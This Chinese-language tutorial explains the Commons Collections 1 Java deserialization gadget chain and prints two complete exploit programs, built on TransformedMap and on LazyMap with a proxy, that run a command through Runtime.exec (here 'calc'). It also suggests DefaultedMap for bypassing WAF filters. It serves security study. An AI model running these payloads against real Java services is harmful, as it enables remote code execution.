利用说明
依赖版本
commons-collections : 3.1-3.2.1
JDK版本:1.7 (8u71之后已修复不可利用)
利用链
AnnotationInvocationHandler.readObject()
*Map(Proxy).entrySet()
*AnnotationInvocationHandler.invoke()
LazyMap.get()/TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
总结
- 利用 AnnotationInvocationHandler 在反序列化时会触发 Map 的 get/set 等操作,配合 TransformedMap/LazyMap 在执行 Map 对象的操作时会根据不同情况调用 Transformer 的转换方法,最后结合了 ChainedTransformer 的链式调用、InvokerTransformer 的反射执行完成了恶意调用链的构成。其中 LazyMap 的触发还用到了动态代理机制。
前置知识
AbstractMapDecorator
首先 CC 库中提供了一个抽象类 org.apache.commons.collections.map.AbstractMapDecorator
,这个类是 Map 的扩展,并且从名字中可以知道,这是一个基础的装饰器,用来给 map 提供附加功能,被装饰的 map 存在该类的属性中,并且将所有的操作都转发给这个 map。
这个类有很多实现类,各个类触发的方式不同,重点关注的是 TransformedMap 以及 LazyMap。
TransformedMap
类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 来定义
这里我们举个例子
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class TransformedMapTest {
public static Transformer keyTransformer = input ->{
int num = (int) input;
num += 1;
return (Object) num;
};
public static Transformer valueTransformer = input ->{
String str = input.toString();
return str+"1";
};
public static void main(String[] args){
HashMap hashMap = new HashMap();
hashMap.put(1,"a");
System.out.println("初始化map"+hashMap);
Map map = TransformedMap.decorate(hashMap,keyTransformer,valueTransformer);
map.put(2,"b");
System.out.println("transformMap"+map);
}
}
也就是说当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put
方法时),就会触发相应参数的 Transformer 的 transform()
方法。
LazyMap
org.apache.commons.collections.map.LazyMap
与 TransformedMap 类似,不过差异是调用 get()
方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform()
方法。
与 LazyMap 具有相同功能的,是 org.apache.commons.collections.map.DefaultedMap
,同样是 get()
方法会触发 transform 方法。
因为功能相同,在类被禁用时,也许能bypass某些waf
Transformer
org.apache.commons.collections.Transformer
是一个接口,提供了一个 transform()
方法,用来定义具体的转换逻辑。方法接收 Object 类型的 input,处理后将 Object 返回。
这些是实现类(那几个input是我上面的例子自己写的实现类)
其中我们重点关注几个实现类
InvokerTransformer
这个实现类从 Commons Collections 3.0 引入,功能是使用反射创建一个新对象,我们来看一下它的 transfrom 方法,方法注释写的很清楚,通过调用 input 的方法,并将方法返回结果作为处理结果进行返回
关键代码
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
这里的this.iMethodName
和this.iParamTypes
由构造参数传入。
这样我们就可以使用 InvokerTransformer 来执行方法,测试代码:
Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
transformer.transform(Runtime.getRuntime());
ChainedTransformer
org.apache.commons.collections.functors.ChainedTransformer
类也是一个 Transformer的实现类,但是这个类自己维护了一个 Transformer 数组, 在调用 ChainedTransformer 的 transform 方法时,会循环数组,依次调用 Transformer 数组中每个 Transformer 的 transform 方法,并将结果传递给下一个 Transformer。
这样就给了使用者链式调用多个 Transformer 分别处理对象的能力。
ConstantTransformer
org.apache.commons.collections.functors.ConstantTransformer
是一个返回固定常量的 Transformer,在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。
这个类用于和 ChainedTransformer 配合,将其结果传入 InvokerTransformer 来调用我们指定的类的指定方法。
攻击构造
首先有了上述基础知识的。我们如果要构造弹出计算器,那么需要
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map map2 = TransformedMap.decorate(hashMap, chain, null);
map2.put(10, "aaa");
这里为什么不直接
new ConstantTransformer(Runtime.getRuntime)
?因为Runtime类没有实现 java.io.Serializable 接口,无法被反序列化,待序列化的对象和所有它使用的内部属性对象,必须都实 现了 java.io.Serializable 接口。
结合上面的知识,当put/setValue触发的时候,map2的key和value发生变化,因为这个Map被TransformedMap.decorate
的装饰器处理过,所以会调用chain中的transform
方法,也就是会循环数组里的每个transform方法。然后将结果传到下一个transform
方法。这里把Runtime.class传入,那么传到下一个InvokerTransformer
里也是Runtime.class
。这样层层调用,其实就是最后通过反射得到了一个Runtime
意思和上面说的一样。
Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
transformer.transform(Runtime.getRuntime());
只不过这里Runtime.getRuntime()的步骤比较多。
截止到这里,我们利用 CC 库成功构造了 sink gadget 和 chain gadget,接下来我们需要找到一个 kick-off gadget:一个类重写了 readObject ,在反序列化时可以改变 map 的值。
于是我们找到了 sun.reflect.annotation.AnnotationInvocationHandler
这个类。这个类实现了 InvocationHandler 接口,原本是用于 JDK 对于注解形式的动态代理。
先看一下构造方法。这里第一个参数是 Annotation 实现类的 Class 对象,第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class
,才会将两个参数初始化在成员属性 type 和 memberValues 中。
这里的 memberValues 就是用来触发的 Map。接下来我们看一下这个类重写的 readObject 方法:
先调用 AnnotationType.getInstance(this.type)
方法来获取 type 这个注解类对应的 AnnotationType 的对象,然后获取其 memberTypes 属性,这个属性是个 Map,存放这个注解中可以配置的值。
然后循环 this.memberValues
这个 Map ,获取其 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues
的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值。
用语言描述这些代码可能有些拗口,注解本质是一个继承了 Annotation 的特殊接口,其具体实现类是 Java 运行时生成的动态代理类。通过代理对象调用自定义注解(接口)的方法,会最终调用 AnnotationInvocationHandler 的 invoke 方法。该方法会从 memberValues 这个 Map 中索引出对应的值。
所以就有了构造payload的思路
- 构造一个 AnnotationInvocationHandler 实例,初始化时传入一个注解类和一个 Map,这个 Map 的 key 中要有注解类中存在的属性,但是值不是对应的实例,也不是 ExceptionProxy 对象。
- 这个 Map 由 TransformedMap 封装,并调用自定义的 ChainedTransformer 进行装饰。
- ChainedTransformer 中写入多个 Transformer 实现类,用于链式调用,完成恶意操作。
payload
HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map map2 = TransformedMap.decorate(hashMap, chain, null);
map2.put(10, "aaa");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, map2);
除了用 TransformedMap,还可以用 LazyMap 来触发,之前提到过,LazyMap 通过 get()
方法获取不到 key 的时候触发 Transformer。
所以如何让var7不为null
- sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
- 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
所以这里用到了Retention.class
因为Retention中有一个方法,名为value,所以需要手动在加一个hashMap.put("value","xxx");
所以给出exp1
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.annotation.Generated;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, IOException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashMap = new HashMap();
hashMap.put("value","xxx");
Map map2 = TransformedMap.decorate(hashMap, null, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, map2);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
// System.out.println(barr);
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
另一种构造方式
我们刚才说 LazyMap 通过 get()
方法获取不到 key 的时候触发 Transformer。
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执 行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在 sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到 Map的get方法。
AnnotationInvocationHandler类的invoke方法有调用到get
那么如何才能触发到invoke方法呢,这里用了Java的对象代理
Java对象代理
我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实际就 是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要 调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get 。
所以另一种payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}